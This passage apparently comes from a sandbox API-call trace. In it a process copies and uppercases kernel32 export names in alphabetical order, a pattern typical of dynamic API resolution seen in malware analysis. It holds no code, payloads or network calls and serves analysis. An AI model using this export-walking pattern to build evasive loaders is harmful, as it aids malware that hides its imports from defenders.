(lpString="ACTIVATEACTCTX") returned 14 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0115.092] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0115.092] lstrlenA (lpString="ADDATOMA") returned 8 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0115.092] lstrlenA (lpString="ADDATOMW") returned 8 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0115.092] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0115.092] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0115.093] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0115.093] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0115.093] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0115.093] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0115.093] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0115.093] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0115.093] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0115.093] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0115.093] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0115.093] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0115.093] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0115.093] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0115.093] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0115.093] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0115.093] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0115.093] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0115.093] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0115.093] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0115.094] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0115.094] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0115.094] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0115.094] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0115.094] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0115.094] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0115.094] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0115.094] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0115.094] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0115.094] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0115.094] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0115.094] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0115.094] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0115.094] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0115.094] lstrlenA (lpString="BACKUPREAD") returned 10 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0115.094] lstrlenA (lpString="BACKUPSEEK") returned 10 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0115.094] lstrlenA (lpString="BACKUPWRITE") returned 11 [0115.094] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0115.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0115.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0115.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0115.095] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0115.095] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0115.095] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0115.095] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0115.095] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0115.095] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0115.095] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0115.095] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0115.095] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0115.095] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0115.095] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0115.095] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0115.095] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0115.095] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.095] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0115.096] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0115.096] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0115.096] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0115.096] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0115.096] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0115.096] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0115.096] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0115.096] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0115.096] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0115.096] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0115.096] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0115.096] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0115.096] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0115.096] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0115.096] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0115.096] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0115.096] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0115.096] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0115.097] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0115.097] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0115.097] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0115.097] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0115.097] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0115.097] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0115.097] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0115.097] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0115.097] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0115.097] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0115.097] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0115.097] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0115.097] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0115.097] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0115.097] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0115.097] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0115.097] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0115.097] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0115.098] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0115.098] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0115.098] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0115.098] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0115.098] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0115.098] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0115.098] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0115.098] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0115.098] lstrlenA (lpString="BEEP") returned 4 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0115.098] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0115.098] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0115.098] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0115.098] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0115.098] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0115.098] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0115.098] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0115.098] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0115.098] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0115.099] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0115.099] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0115.099] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0115.099] lstrlenA (lpString="CANCELIO") returned 8 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0115.099] lstrlenA (lpString="CANCELIOEX") returned 10 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0115.099] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0115.099] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0115.099] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0115.099] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0115.099] 